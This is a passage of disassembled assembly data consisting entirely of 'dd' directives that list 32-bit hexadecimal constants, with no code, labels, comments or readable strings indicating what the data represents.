		dd 267BF786h, 0DDCF5EBh, 0F5997C38h, 0FA60C04Ch, 0F3DAC700h
		dd 3D5B7DFDh, 2049027Eh, 85ADA5B4h, 83B23040h, 790A0486h
		dd 624F18F4h, 16E5200Dh, 0D114AB79h, 10849C4Bh,	91011BC8h
		dd 27FFFCEh, 7589ECEDh,	35A040EFh, 291242FBh, 0A843F394h
		dd 0B0656AA8h, 0AA62ADh, 8568EDB2h, 6D22316h, 0C9093400h
		dd 0AEE5F03Fh, 3D215848h, 7929F94Ch, 0B5C38394h, 0CEDC62CDh
		dd 0ABF20E38h, 40C541B5h, 64D0712Dh, 7B0600E9h,	29443E53h
		dd 220C1D35h, 0C1C95DCCh, 0BD2F01E3h, 916C4BCDh, 92ACF31h
		dd 4300A8DFh, 249EBCBEh, 0B8D97CE8h, 0B1F918C8h, 0DC4121ADh
		dd 0A4061893h, 0A91FB4Fh, 99414EDh, 26478080h, 65BC2C8Fh
		dd 9AE87F0Fh, 83CBE028h, 49BDEADh, 6B3A2113h, 0E5A0E066h
		dd 8EEDB300h, 90FE53EEh, 0C849C0B0h, 4E68866h, 5F31B0A0h
		dd 0CC5C763Ch, 68CF2C50h, 832E8909h, 0D8A02A24h, 4CCE7BEDh
		dd 0FE0D5AF1h, 0E049279Eh, 0D9637EF8h, 1FFD6BC9h, 8085C019h
		dd 0BBFBD32Ch, 0D712C9B8h, 0EA3B51h, 0E68D77F9h, 0D0A83C74h
		dd 39867A12h, 6211B5CEh, 81808899h, 0C0B5B6C9h,	0FC286413h
		dd 6C98FE28h, 0C9464CA4h, 0F5794102h, 2C304718h, 5AE0A0F6h
		dd 37790919h, 34106BA2h, 59077875h, 208752BBh, 0CBEE2E01h
		dd 0F54920h, 72565826h,	0FDD80992h, 8008AB59h, 3EBDDACAh
		dd 7458CA0h, 0DAC2ECh, 0D6614F8Bh, 0CECC967Bh, 2CA9860Eh
		dd 177D82B2h, 1348647Ch, 0A3F5F0h, 0C4D74AFCh, 6D0038BDh
		dd 406F1B9Ch, 7A3DDE29h, 0D0F500BBh, 2A8B35B0h,	341C3171h
		dd 0B8C4A36Bh, 68C049A4h, 638F6773h, 0C61258B7h, 0E61C83D0h
		dd 0A4658C38h, 6940186Ah, 4F4C245h, 84FE8AE2h, 8CE4403Ah
		dd 0FF2210CEh, 0CD097C26h, 0E804C3BCh, 0EF7C8D90h, 2C512100h
		dd 32347CBDh, 0C9E009B0h, 75861DEDh, 20E17165h,	9058EAACh
		dd 8C88782Ch, 0BBBD0231h, 0DD484183h, 0D6B39C41h, 62D2E460h
		dd 7D3D7700h, 4BD7CB68h, 6B031629h, 0EB1828F8h,	6406C9E8h
		dd 0B0287A65h, 3F370570h, 0B85630h, 5F6F80B0h, 0AD05024Dh
		dd 0B95EC575h, 0CDED5C9Dh, 204E7EDDh, 804A5811h, 0CEFCA65Fh
		dd 0F4782Fh, 31134EF0h,	0C0CD1C17h, 832680B0h, 0C5807CBBh
		dd 0A734224h, 48A35DADh, 29DF1D80h, 0CB69B78Ch,	866801E0h
		dd 188F927Bh, 0FE1D7435h, 6501A048h, 0F81EAC23h, 0B27820DDh
		dd 76EC053Ah, 0F9A19A06h, 91025E7h, 0C46CAC21h,	6A943081h
		dd 3F2000FDh, 0F0DF608Ch, 6C44AEABh, 8D575C3Ah,	180F13EFh
		dd 31528C30h, 4CE84112h, 0C555E01Bh, 3F18BCB2h,	0B528DE64h
		dd 7E20010h, 0FA4A11Fh,	18CFD18Ch, 67A7ABC0h, 64C400F0h
		dd 0FE312341h, 0E54BBD03h, 7294F787h, 39CA05D8h, 0D03D3C3Fh
		dd 63FE3598h, 0F26BA00Ah, 55008C43h, 0DF2072DDh, 74F8F967h
		dd 9A2502F5h, 88C21B40h, 0B8B2ECE0h, 0A4A11BB8h, 0D285531h
		dd 71196018h, 9906D308h, 1F836674h, 113D39A9h, 0CE006056h
		dd 64D09FB2h, 0C900EDFh, 0B53C5410h, 0A59AB80Dh, 80900058h
		dd 0FC4C8B98h, 0FAD903A8h, 241D48B2h, 142C7479h, 809A7CFEh
		dd 0B90825h, 554BC53Ch,	6CB03526h, 0F1448480h, 37ABE588h
		dd 66409707h, 1A219042h, 0A0E7113Eh, 0CCB0A065h, 5B3AB649h
		dd 0FE383160h, 3E68F935h, 0F502DE9Ah, 0F284F6ADh, 8365B8A4h
		dd 5A933A12h, 0FDAB3101h, 66B2DD6Bh, 508BE02Bh,	2CF659C5h
		dd 1A5C1C00h, 3D3BAEB4h, 0A22A8075h, 9A810CCCh,	0B9A9255Fh
		dd 0FD30700Eh, 0ED65613Ah, 8450F92Eh, 1D199A96h, 5E31483Bh
		dd 975AC1A7h, 0F52E297Fh, 83FEC4E2h, 0C7113D60h, 3EEA434Ah
		dd 0F10FB055h, 8F6632ACh, 94816926h, 73B21077h,	14BA743Bh
		dd 0A016C0ACh, 0BCD27898h, 702058D3h, 1801841Fh, 10FAEBE3h
		dd 0A1C0E457h, 1BC45DBBh, 0C8EE4854h, 4967ED0Bh, 0D37664A7h
		dd 46609BB0h, 7B03B570h, 3B982CD9h, 152F91ACh, 0E040175Fh
		dd 68EBEFB7h, 6040682Ah, 2E541CF7h, 0C76A1A78h,	0CB077B19h
		dd 838521E1h, 2EEA9890h, 7B21C58Ah, 10541968h, 0FABC526Ch
		dd 0DA2D9F21h, 0CBB25030h, 2400C541h, 74D99BE4h, 0AC503F24h
		dd 8D481882h, 541064DCh, 42490CA6h, 88F321FAh, 570995A9h
		dd 4224C368h, 0A0FE04A0h, 58936865h, 0EC05BCFEh, 923430FDh
		dd 0DC5A38D8h, 307EFF2h, 0DAFAF2D3h, 4FC72380h,	0B0B800D1h
		dd 38840D91h, 3F2C9F72h, 3604B8CFh, 1CF2FDD8h, 0CFD70B1h
		dd 0C2D40CCBh, 4779C63Bh, 52F94B00h, 1DA7D921h,	0EFA00094h
		dd 64B25A5Ch, 9B0166B6h, 0D1F5B8DEh, 0AC607624h, 8B75004Dh
		dd 0E2E17BE0h, 53135215h, 0A82057EDh, 0A3E684h,	8216D08Dh
		dd 2BF49B1Ch, 64453F05h, 4CCA79Fh, 2DE001C5h, 5EBA1654h
		dd 4241808Dh, 0C299AEE2h, 875A0h, 0B2EF8B60h, 6A43471Dh
		dd 0A92F0907h, 414983FFh, 5CF8C8B8h, 11C9305Dh,	0CCBA9568h
		dd 0E180401h, 6F27CDCAh
		dd 13571030h, 8BB13A70h, 0F5EBC234h, 0FE58101Bh, 1C034F75h
		dd 0F940FDC6h, 7C8148B1h, 0B47E5507h, 7C83C749h, 43000339h
		dd 5F3B57E8h, 4B1A12h, 2A8405C2h, 9C5CAF56h, 0BC1FEF2Ch
		dd 40D78F02h, 78047129h, 7862204h, 0E313BFF4h, 0CD1C656Dh
		dd 61A061C0h, 0C128082Ch, 4BC7BC1Ch, 0D8C49FD0h, 0D03507AEh
		dd 0F76F57D0h, 64144965h, 68941909h, 2147B040h,	8DD04100h
		dd 7FD80F66h, 0C2DCA8B0h, 0BF570294h, 0A8CAA6F8h, 0B2318CA3h
		dd 3DF1211Bh, 0FD13E051h, 50149E7Ch, 560E601Fh,	0E00143BDh
		dd 0F6AAF857h, 836E0215h, 31644BC1h, 88F46C4Bh,	3D01C318h
		dd 695D9A4h, 0DBF08AD0h, 0C82C009Eh, 0F5E3D272h, 31024311h
		dd 0FD18B5FCh, 25DC7A71h, 0F4AB4CFEh, 0C8383505h, 2D00D6D8h
		dd 79F86728h, 605EC7BFh, 0F5B27937h, 709684FEh,	8963FD8Dh
		dd 0B4B7509Bh, 0E4AC1100h, 3F628E15h, 482E005Ch, 0F60C6D73h
		dd 0F2285ECDh, 664CD42Ah, 0C7A4070Ch, 0E8F582h,	6CBF07A9h
		dd 8F00BC9Dh, 96255295h, 12D6B4Eh, 83BA58A6h, 0FE720C4Ah
		dd 8B086C45h, 795B6084h, 172718F7h, 54140Eh, 0E0791FDCh
		dd 0EDFD267Ah, 15AC3CE1h, 84EA38h, 0A91191E1h, 7EAA8Bh
		dd 6D21127Dh, 0A2C01F72h, 0F022BEAh, 0FD23C745h, 8A07166h
		dd 0C2803A49h, 1593311Ah, 94325483h, 0C34200CEh, 0D75C44A5h
		dd 62445C0h, 3B08848Ch,	65CB4469h, 4BA84C02h, 880C7184h
		dd 2C00AE61h, 0E271BD38h, 5D2F2F49h, 0BF4AC820h, 13031578h
		dd 19EFCBC4h, 4899507Dh, 80205C10h, 0BD9C4283h,	3EBF7CD0h
		dd 4855CC00h, 0F7DE4FE8h, 0CF1906CDh, 59107EF8h, 943B50DEh
		dd 29E83641h, 2E8FFC16h, 6BA1C07Fh, 39090BCEh, 0D993E0F0h
		dd 833CC165h, 0B403041Ch, 0CFFBF427h, 10C9B0D7h, 0AA7700h
		dd 85C3B94Bh, 11070EC1h, 0C2AF9302h, 64F29DE8h,	90FE1354h
		dd 0AECC5B2h, 18C4C54Ch, 0F3C8086Bh, 0A410CD29h, 1822827Bh
		dd 660953EEh, 0AE4515h,	0FEE1E72Fh, 0D8EA48EDh,	6AB4B6A0h
		dd 0CC3CBD00h, 37BE58F9h, 0C61F02FDh, 725C86B5h, 194EF86Ch
		dd 34F93C30h, 0EA99C2CBh, 0A0A2A5B4h, 0A461C31Ch, 0B8E43C06h
		dd 0EA038CB4h, 0EC7558A5h, 0B9E5981Ch, 1D01904Bh, 0BCC0F0C7h
		dd 93179F80h, 24F310DFh, 0C2BD3103h, 0B1701BE0h, 0B466FF1Ah
		dd 5EB1300h, 7E905EC6h,	0B8A4027Eh, 0DB64C204h,	28883B06h
		dd 1A37F1Bh, 19B16C0Ah,	79A0F98Bh, 5FEA1BC0h, 2E53C039h
		dd 88F701B8h, 67160570h, 21E1F1A0h, 0B4237Ch, 0A5271A45h
		dd 0CFB3236h, 0B4CA798h, 97FE4FD2h, 970ADF2Fh, 80B3117Ch
		dd 46FD81B2h, 3B0726F2h, 3D194078h, 0D404108Ch,	6738960Fh
		dd 2301A8B8h, 79216F56h, 16C8FF64h, 0FE4D82C4h,	74B20014h
		dd 0E30B7FC8h, 5DC900C2h, 5C2A15B9h, 0B090FF76h, 600C274Ch
		dd 5D6DFC81h, 0F90DFEF2h, 0EC7C5021h, 1D7A7C53h, 5D9FAB6Bh
		dd 673D0006h, 77AE3F46h, 1A38FD00h, 0EBD09775h,	0E82400FBh
		dd 0F28C4D7Ah, 267C717Eh, 35FEC007h, 5D41CA15h,	6BE51B50h
		dd 1800C47Dh, 3C073488h, 802890Eh, 6B373FABh, 0BCE0A0B0h
		dd 273577Ah, 0C2294249h, 5C81289Ch, 2C1C2D1Ah, 0B15C5034h
		dd 0E399B6Fh, 6D780CCh,	0FC9C0EADh, 0B08958B8h,	6921BA09h
		dd 0F48724E0h, 5583460h, 881DE5A5h, 38C216AAh, 0AF3988h
		dd 1F367318h, 6B5303Ch,	2AEA49AAh, 0AF290B49h, 18001998h
		dd 0A1BBB10Dh, 1F181652h, 9541AE34h, 0B02198D8h, 6CA8403Bh
		dd 0C868E82Fh, 0F4844C00h, 6718FFDCh, 12FB00E1h, 6277B4AFh
		dd 8C9030F3h, 0F7786500h, 0C70F10A3h, 2ECE3C91h, 9F676681h
		dd 6406F5Bh, 0ACFC22B8h, 94EE7D3Ah, 229CC580h, 2520520h
		dd 0A319FFA5h, 0B41061C4h, 0A4E0E479h, 10B958h,	5B80C969h
		dd 0FD16C76Dh, 1820844Ah, 7C4C2690h, 0DDA724CAh, 0E3B0407h
		dd 0E41C8884h, 0BE90F800h, 0EE607F5Fh, 0CB8700F9h, 7D084C21h
		dd 0BC1BA824h, 0F069E379h, 2E1688h, 446182DDh, 5F4E2D6Fh
		dd 0D9D7213h, 6DFE6C02h, 0A0C4839h, 608930E1h, 211F3519h
		dd 2F1CCB4Dh, 208C10C7h, 0E2FCAFh, 88A0DB87h, 0EA8A72F9h
		dd 182C912h, 5D999840h,	51B2AAh, 0B793924Bh, 17134DA7h
		dd 0B0C6B81Dh, 0EF207F80h, 27A83ABh, 0DE951924h, 0ACC8B798h
		dd 5D005BC4h, 5636609Ch, 0FA8530E1h, 445100EDh,	0AC357E5Fh
		dd 382ABFB4h, 0D700B819h, 48883A32h, 0E626F0h, 769E7BBh
		dd 0FECE39CBh, 5F608650h, 0CA84BC05h, 7480D89Dh, 0B3575A2h
		dd 5DE51E76h, 2B27C8C8h, 0A44DAA00h, 3B5E2242h,	0D178009Ah
		dd 1F26757Ah, 8204ABCCh, 99E82CA8h, 4AFE0488h, 60D783h
		dd 0D6BF6EDh, 0E76011C0h, 28A2E4h, 9BDAA58Fh, 0A749F283h
		dd 0AB912114h, 0FAD11FEEh, 0CE151680h, 72C56A8Dh, 0B0710081h
		dd 0F8E9CADBh, 831F1A63h, 0FBC0CF35h, 0CEA3BAC1h, 9E7102h
		dd 96ADAEA7h, 7BFA8BF4h, 0DEA41400h, 524C40CAh,	9770B3h
		dd 0E74E5B3Dh, 0B8BF757Eh, 0C3AB1800h, 1294C70Dh, 24DE00A5h
		dd 3AF31386h, 1000909Bh, 98E7F829h, 0C47FBACh, 3EEA1144h
		dd 376F7190h, 25730799h, 0E0871D25h, 4DC94E0h, 2652036Ah
		dd 0BED708F5h, 0E4A52828h, 0C081FB1Dh, 9AF4CFh,	0B9765AE0h
		dd 9C6B3919h, 0E5F8EE80h, 827115D0h, 0A438DA60h, 1A05F0Ah
		dd 0C552FF51h, 0FC85F707h, 0FC03CD23h, 0D73CD069h, 9F77D040h
		dd 0B87491h, 0FB5237B0h, 0F0AF0143h, 1F89050Eh,	0C8C9C0B4h
		dd 0B9C219h, 46A9D00Ch,	0EED66959h, 0A98DBD30h,	591DD95h
		dd 0FAE7CD9Eh, 695CC05Eh, 0EA6061E6h, 5D3C4710h, 20B3E46h
		dd 4058AE00h, 882EA51Fh, 0CAA46A50h, 3CF80800h,	222AA21Ch
		dd 0E0503C89h, 44C32C7Dh, 84ED0063h, 3AC758F2h,	3E6AE83Dh
		dd 0A1550047h, 1C9C3C5Eh, 0A4C83AC0h, 0AE0E1060h, 0FC03D721h
		dd 24311AA8h, 1083318h,	21F06421h, 7400C772h, 0CDB53BAFh
		dd 18EEB2B7h, 6810B045h, 0AE023C93h, 7030A81Ch,	7E088055h
		dd 391A32AAh, 0D88CEE0Fh, 6808F114h, 0FEBC21C0h, 0E6E2FA2Bh
		dd 0C1BA003Bh, 50D70560h, 9D2C89EAh, 0DF03147Ah, 18AD2214h
		dd 9934EF90h, 4D00BAE1h, 0FCA110BFh, 1EE9910Dh,	1DB44B1Dh
		dd 8C5FA8h, 0D43140F7h,	33394F38h, 0B440CFDh, 60C308D5h
		dd 0FF8420AEh, 0C503EC38h, 0D79B9DA3h, 8BCEC085h, 0D94D0098h
		dd 0FFD62A92h, 0E9006778h, 0F0F9B852h, 1259DB9Fh, 0E813ABh
		dd 0F8F386D1h, 0A401AA18h, 23621CA2h, 0D9FC9245h, 5AD6584Bh
		dd 8077641Fh, 0BEBBFFE2h, 6C0046BAh, 1C622BF3h,	95305Ah
		dd 84574238h, 0FA17EFE4h, 0EDD7707h, 645058DEh,	0B9DA9Dh
		dd 0CB3EA18Fh, 2299310Ch, 78D79300h, 0A887C94Dh, 0BA160060h
		dd 0F890C0B3h, 75004F43h, 0C7935E8Ah, 3C149158h, 8C030661h
		dd 8DB2734Bh, 0A0FD8EA0h, 727CCC3Ch, 9E163203h,	0C05498F6h
		dd 17C1E3h, 0FCF9CB5h, 0BAA89069h, 8934031h, 0EB0E0CB3h
		dd 5128C9Fh, 61018410h,	28E7D42Ch, 92D4BF51h, 7B2300EAh
		dd 5A9CDDD9h, 9724B529h, 0D5197689h, 5E083D28h,	84B67944h
		dd 42937422h, 0AC050819h, 870208DAh, 846B3488h,	4DB3385h
		dd 7E44DE8Ah, 6A45449Fh, 0C28014Ah, 0CA790593h,	0BCC613F9h
		dd 53422D48h, 0F262536h, 76B1E714h, 0D61C045h, 2DF22988h
		dd 0BCB4D688h, 7AA01730h, 0B6007FEDh, 65E15824h, 98C7C2CAh
		dd 45AF491h, 0D6298D79h, 9946C077h, 0AEF01542h,	71AD9D00h
		dd 0C1BC7A5Ah, 60B7001Fh
		dd 22A2549Fh, 9B003DF6h, 0C6288614h, 0A7C7DEh, 0E7255F87h
		dd 6E58613Ah, 4D965200h, 7E190632h, 78EA0083h, 133C927Bh
		dd 0A60FD663h, 60974DA1h, 4BDD17AEh, 0F9D000F0h, 436B14F3h
		dd 3360FE15h, 4E8BA311h, 8976006Dh, 0AE72EAE8h,	9D00C828h
		dd 1186F84Ch, 3F02360Bh, 0A01C6655h, 2D82417Bh,	0FC6FAED1h
		dd 2492C759h, 6ABE6D00h, 897201E8h, 6592034Dh, 5D5FF382h
		dd 35F8F1F7h, 0B883E015h, 0A325441Fh, 7247D07h,	666853C0h
		dd 0F9AB1690h, 59730026h, 3F060BC0h, 5000A498h,	0DD9912C8h
		dd 1926D5h, 0CB0FA1F8h,	0E8EEE1D9h, 0BF42833Ah,	0D2210159h
		dd 0E03658DFh, 1FB2D3CCh, 80C06C98h, 0F4CD9BA9h, 0C10EB4F0h
		dd 40CB3F2Dh, 0C876BF6Bh, 0EAD00398h, 0D35EABBBh, 0C4F6DBB9h
		dd 1800B314h, 7E543F7Dh, 0FEC9C1h, 6DEF6027h, 0ECB03236h
		dd 8A0371FAh, 4388BB3Dh, 47213EFBh, 1F37550Ch, 0B5039B11h
		dd 0FA0A6204h, 0A878D342h, 0ECF24D1h, 9749BD53h, 0F2BBBFA7h
		dd 70E01D5Ch, 0B23A9A96h, 43E200B3h, 0CD59DF6Fh, 0B8A63E11h
		dd 867BEB00h, 0CC3B9D80h, 70FE4700h, 0F693FAD4h, 0E1BE0264h
		dd 1C0EF395h, 67A56055h, 8FE2004Ch, 0A24673B4h,	0FA00665Bh
		dd 9CCBBF9Fh, 0A44F96h,	70F4119Dh, 7998BE23h, 5426EB00h
		dd 0EFBAC27Dh, 0AE1F2A04h, 0B6B3FBCh, 0A2734E8Eh, 0D43956A0h
		dd 3D07EA06h, 0A075B092h, 1E9CFA20h, 9BD50213h,	49DEB452h
		dd 81DFFC89h, 2C562875h, 26B8ADCh, 0F3B0C672h, 34403EC8h
		dd 532EB712h, 103082F1h, 3879A656h, 0B0030D1h, 24A9FBB3h
		dd 0F7007834h, 9CF1A7E3h, 4DFEC068h, 49006895h,	6676324Ch
		dd 0D7302DDBh, 0C750B9ABh, 18650088h, 0C4B64505h, 1EF83B60h
		dd 0A1949C00h, 1516D5C0h, 6219C0C8h, 4357BBBEh,	8CE9AC0Fh
		dd 5375405Eh, 0EA98A169h, 89F8C1h, 96642F28h, 7623D365h
		dd 2DDF0D00h, 9D01EA59h, 543400FBh, 2BCEC7FFh, 23001605h
		dd 0D674C1FAh, 3952ABh,	0D125477Eh, 329457ECh, 0C56EDA0Fh
		dd 168A069h, 0AA515Ah, 64A73A1Eh, 85065012h, 0FFD51D03h
		dd 0B05D87EBh, 3D62AF65h, 48B87D04h, 5CF9A700h,	0D22521C1h
		dd 74243548h, 631E7F00h, 5D99CFBh, 242EEA62h, 615731h
		dd 23D00780h, 813A3C52h, 0DDE52834h, 102A9800h,	0D34EB85Ah
		dd 74041EE9h, 3ACC007Ch, 665CBC0Bh, 270FDE00h, 757D5032h
		dd 0D6E900CFh, 551897FCh, 70002463h, 12A245D9h,	121D8CA8h
		dd 524EDCh, 21644C34h, 3A1D1A24h, 0D5595B4Ah, 58FC19D8h
		dd 0E74F855h, 2CBD173Dh, 56888020h, 0EE001383h,	22D1B8FBh
		dd 3281EFh, 1AA8B646h, 0C23BC612h, 3D2F3301h, 2A7390A3h
		dd 0B0EFE421h, 33691E9h, 0D33CD76Eh, 0CC00746Dh, 0BBEE8F2Bh
		dd 3EA192Dh, 97C7CB40h,	2F8844EFh, 183F64CAh, 622E80D1h
		dd 8FCD4D55h, 0E75707E5h, 0A036C70Dh, 64939BEBh, 0BB62C90Eh
		dd 2AD064A8h, 0B1C34080h, 0A6E30745h, 51B7A561h, 0D47FDCD4h
		dd 440C4AA9h, 48ECB3E2h, 987907D8h, 0BA9A7509h,	94BB00CAh
		dd 0A69E3363h, 0BF1A21C0h, 0EEB66Bh, 5C7416DFh,	12B33565h
		dd 9DDCD73Dh, 0C8FFB743h, 985700D5h, 3EFAE520h,	0D5AD0078h
		dd 0A47D28D3h, 360FF9F3h, 6096C846h, 2E611C4Bh,	0FCE607A3h
		dd 3BABF66h, 1881FF2Ah,	4784307Bh, 72F4B750h, 0AE431200h
		dd 0E884C496h, 0FF0704C5h, 80ECA0E5h, 1B8E01D4h, 1EED0900h
		dd 8BDE8079h, 0CE590061h, 0A22CDD0Dh, 0EF00FA4Dh, 93439288h
		dd 1E0E57F5h, 408CDEF6h, 1E46AFCBh, 56003948h, 0BF334A3Eh
		dd 2C0E3D2Ch, 28F91Fh, 0FF1817A3h, 1500BA76h, 973F43D4h
		dd 3A5FC3h, 846A1FC8h, 26802EF6h, 0C29E1000h, 951C62ABh
		dd 173E03FEh, 0C39FA9Bh, 0B53F1D90h, 3B5C0D00h,	0EE4B6C8Ah
		dd 5098E7h, 0B464425Eh,	28839E7Bh, 0EA97531Ch, 3F5C01BDh
		dd 0CE907B6h, 0EFC2E5h,	0CA76A230h, 0A7A8176Dh,	8C820F0Ah
		dd 60088C8h, 6AF62ED1h,	0E6250FADh, 0C3A9B3EAh,	340E0F00h
		dd 0A500500Ah, 86588962h, 0EB3799h, 5CA2E890h, 0BAA9423Eh
		dd 12727BFEh, 45E0F00h,	89F7CBC1h, 5CD400FEh, 0EA3AB9F5h
		dd 84F87217h, 0C0B02D2Eh, 26E69200h, 43C6359h, 7108B6D1h
		dd 0F056C093h, 0BA5CCE53h, 9FFE0128h, 73604957h, 51C4B6F5h
		dd 2752486Dh, 0DE094A00h, 948E1D06h, 0AE14F500h, 0CD18FAC0h
		dd 0B0149802h, 80C818C6h, 9987213Fh, 1451D424h,	434B2500h
		dd 0F6477CA7h, 378F03EAh, 60E0FF74h, 0A683F000h, 12F8B6B4h
		dd 79590FC7h, 68C0F53Ah, 0D9A1A089h, 95CAA500h,	4BAF491Fh
		dd 26B91D17h, 0F0310007h, 814FD483h, 8BC0B71Fh,	0C076388Fh
		dd 8E28EF2Bh, 0DAD70740h, 40537259h, 0AD7AFE9Fh, 21B50500h
		dd 22F5EFE6h, 0DEBF0064h, 45F9BB8Fh, 0C474E771h, 0B5B92500h
		dd 8CEC3020h, 2AA60CB2h, 8F0895B8h, 7919B104h, 3AC0E5F2h
		dd 9019414h, 70CF5AA8h,	7D8A7680h, 0B5065545h, 148C1510h
		dd 0EDDD0EA8h, 0C47FBB51h, 0C0D6E7B3h, 2374D2D4h, 61193Ah
		dd 644FCF88h, 0F11847h,	0AF43E4EFh, 523C1F86h, 33558400h
		dd 69E246BAh, 51C80359h, 15F17F09h, 0BFE74088h,	0AF8F470Eh
		dd 8477A1FCh, 81602706h, 3DE0993h, 0A1F908h, 0D0F63F19h
		dd 88983912h, 0FB03D498h, 4605DEE8h, 0E0CBA3FAh, 6669B9h
		dd 0A2B6B775h, 0FDF5317Eh, 0DE282500h, 2CBEE812h, 2FC50092h
		dd 0CE772E3Eh, 57627EBDh, 0C0852918h, 7D5F0Ch, 32C2D508h
		dd 19DDB9E9h, 368973Eh,	0F65413D7h, 7C68C6A9h, 24139832h
		dd 3E04F41h, 2D733BB9h,	379CA00Ch, 0F8E295Bh, 18A58B13h
		dd 205D98FDh, 0E500C4F7h, 12076035h, 7135994h, 68F2F8A1h
		dd 88B8D0C5h, 8306F533h, 0F015D8B4h, 4440052h, 3FCA1E31h
		dd 0AF006F93h, 0D9768C90h, 87A9B1h, 60CE17FFh, 0DF8EB930h
		dd 0E79E4803h, 90447835h, 49E956C4h, 2638C452h,	8297F500h
		dd 0E1B7A4C2h, 0C3F6C007h, 0FF906652h, 7C4956Fh, 233F2629h
		dd 89C580FCh, 7F24DB21h, 65148466h, 107B8DF0h, 26ACF000h
		dd 4B819h, 0C0EEC323h, 0FBDBF231h, 700E6F0h, 0BF84C61Eh
		dd 1F80CDFh, 1070BAEEh,	0E026528Ch, 7600AFB3h, 1FA4BEC8h
		dd 0B0FA694Dh, 4C32FC16h, 3E2628A5h, 59A140E0h,	2C00B1C5h
		dd 237E571Bh, 51FD5h, 0AB41F3FDh, 494DB812h, 51BFEF03h
		dd 0C94A8350h, 0A8206625h, 848F4832h, 0F4E85300h, 0A23EB20Ah
		dd 8201F890h, 2CA345D2h, 0AE407A50h, 0CB1D1Ch, 0C163D3B1h
		dd 77BA764h, 0B10C200h,	0F3952215h, 8BF7003Fh, 0C69A6B2Ah
		dd 6E0018EFh, 1449B327h, 0E45371h, 5489A51Dh, 422D3A75h
		dd 9413BE07h, 0DB80A904h, 401B5Eh, 8FB1CE19h, 85E0FD3Bh
		dd 0E8C52600h, 97BC65B3h, 765500F0h, 4A6E7159h,	0C007AF1h
		dd 0C6848BD3h, 0FEC01B73h, 0EA7C00BCh, 416561FEh, 371E8927h
		dd 8840F1E8h, 0F8F3289Ah, 0CC900084h, 6B831D11h, 850025D7h
		dd 6CD6867Eh, 4EBDC28h,	11FC970Dh, 670387E5h, 2520A089h
		dd 0F300E0AFh, 2E668367h, 273E51h, 92C07F60h, 0D09BDA4Bh
		dd 82CFC32Ch, 0C1CB072Fh, 23BA9C10h, 73FD0018h,	1BA7765Eh
		dd 881D30A3h, 6EC00765h, 31554D0Dh, 0BCE7000Ch,	5CC11F78h
		dd 0EC00C076h, 0B540422Fh, 0EF4C64h, 0E7E8329Bh, 0B9EAC7D4h
		dd 0FCAC0A00h, 45F4D3B7h, 34113176h, 0F4B0EBF4h, 813DE68Dh
		dd 0B8CF00CCh, 3F9FEC72h, 0D7C90390h, 837A826Bh, 0E444C2D8h
		dd 9A207900h, 1668AE74h
		dd 2B1D0080h, 0D5CFE775h, 4C0B1308h, 8F51ECD2h,	80196F26h
		dd 129D8405h, 0B47A0E21h, 0A0A0ADCBh, 3DFC0859h, 0A8439500h
		dd 61C27754h, 0B49000CDh, 5B3213D0h, 3F00DB41h,	83712174h
		dd 2BCA36h, 2D235226h, 2C667DC6h, 9C34A307h, 489037B8h
		dd 0F56271h, 0F72B0145h, 5C76B9AAh, 2F55EB00h, 0A6821443h
		dd 2179F1h, 497C6873h, 0ABFD1BE2h, 1A8C3C00h, 4D2503FCh
		dd 617D92h, 1DA677DDh, 3D65870Bh, 93FBD900h, 5EDEB95Fh
		dd 0C46B3CD2h, 0CA035D81h, 0D4CDEF8Eh, 0F206BBB3h, 76296189h
		dd 12913F88h, 0C876B80h, 23B8A55Bh, 0E658D000h,	638D3466h
		dd 846002BFh, 459FAFD2h, 0AC24AA80h, 100FB43Fh,	0E0B9BB83h
		dd 0DA6A4611h, 0BC440079h, 88E26CD1h, 2600C001h, 63CF6274h
		dd 0DFA3E7h, 60F71CE5h,	9ECA952Fh, 7FAE1600h, 5C6DC8C6h
		dd 4C72D5h, 9B28321Dh, 52172B83h, 7803A5E6h, 616AA77Ah
		dd 9CB8005Bh, 7F62A8CFh, 0AA7D3221h, 129B7A00h,	2E86DDF6h
		dd 668A006Fh, 5D3F4208h, 0C30E4E31h, 0C29CFFC4h, 0C2C09BFBh
		dd 79E0DD51h, 8E634AEFh, 0D07E2B11h, 17E65514h,	0F387852h
		dd 12EF68C2h, 5C753C80h, 2100060Eh, 8A2A111Ch, 6B81E29h
		dd 181A32C6h, 6A03DC2Fh, 179F06F7h, 3834A079h, 2BC300EDh
		dd 56686E8h, 0F600B3A3h, 12F5C2C9h, 0A109FDh, 1A764820h
		dd 0EB1C86CBh, 0FECC7102h, 80E6382Dh, 0FF2036EFh, 17BAF611h
		dd 0EE5AA155h, 2D576B80h, 6DC0EC2h, 4660D06Ah, 74426D12h
		dd 0C0B12700h, 8FA1CC2Bh, 809307h, 72C15804h, 4E014B86h
		dd 0B9A899F8h, 84410635h, 0CF82AC4h, 341D001Ah,	0A4D7C51Ch
		dd 0F5284EE0h, 2004C002h, 0E7DAA71Bh, 985D5080h, 4A680389h
		dd 82619190h, 9F560FB8h, 0F9037D0Ch, 384BCAF6h,	140F0883h
		dd 1C804AF1h, 6967CD4h,	66DA2F00h, 70299BD1h, 0EF1230B1h
		dd 6904B558h, 0E8B41600h, 6FDF2FEAh, 500D1F0Fh,	3AEDC0FAh
		dd 399CB88Bh, 49E1D709h, 35DA01C1h, 0FFD067h, 0B8B9A730h
		dd 9DD6B77h, 5D296507h,	4BB04A6Ch, 9A51B2h, 230187ABh
		dd 1F7170A9h, 4C910400h, 9BC8C1A2h, 0A7060C20h,	2490ECD9h
		dd 296C5100h, 0A817A3CBh, 0EF3D0042h, 0A987082Ch, 0B9C043D0h
		dd 0DD6EB0BBh, 0C633009Bh, 970E2555h, 0EA02CA8Ch, 0AB781B60h
		dd 768841C0h, 403392D9h, 0ED0A0F00h, 0DC379357h, 26606100h
		dd 36F235C3h, 0A0749Ch,	3FE24E8Fh, 160A56ADh, 0AC863Eh
		dd 0F141340Fh, 0F33E87h, 4F5A6FF6h, 0F9445D40h,	512B6800h
		dd 0CA4DDE41h, 8BB50357h, 0F0D549D6h, 9A5081F8h, 1824B63Ch
		dd 4E110118h, 0A4261DBFh, 0F57D85h, 4739C7E0h, 985C71CAh
		dd 0E399E20Ch, 0F9C880Eh, 63D46EC3h, 13D1C03Eh,	0CAFF6FF0h
		dd 6B9C400h, 8191EBBAh,	0EE37301Ch, 0B6164B80h,	79F5000h
		dd 5203DF2Ch, 0AC3E185Ah, 0E3A31012h, 651EE105h, 6C8659F5h
		dd 0AF330329h, 4DB2E6BCh, 425D3EC0h, 7066FA00h,	12E890B6h
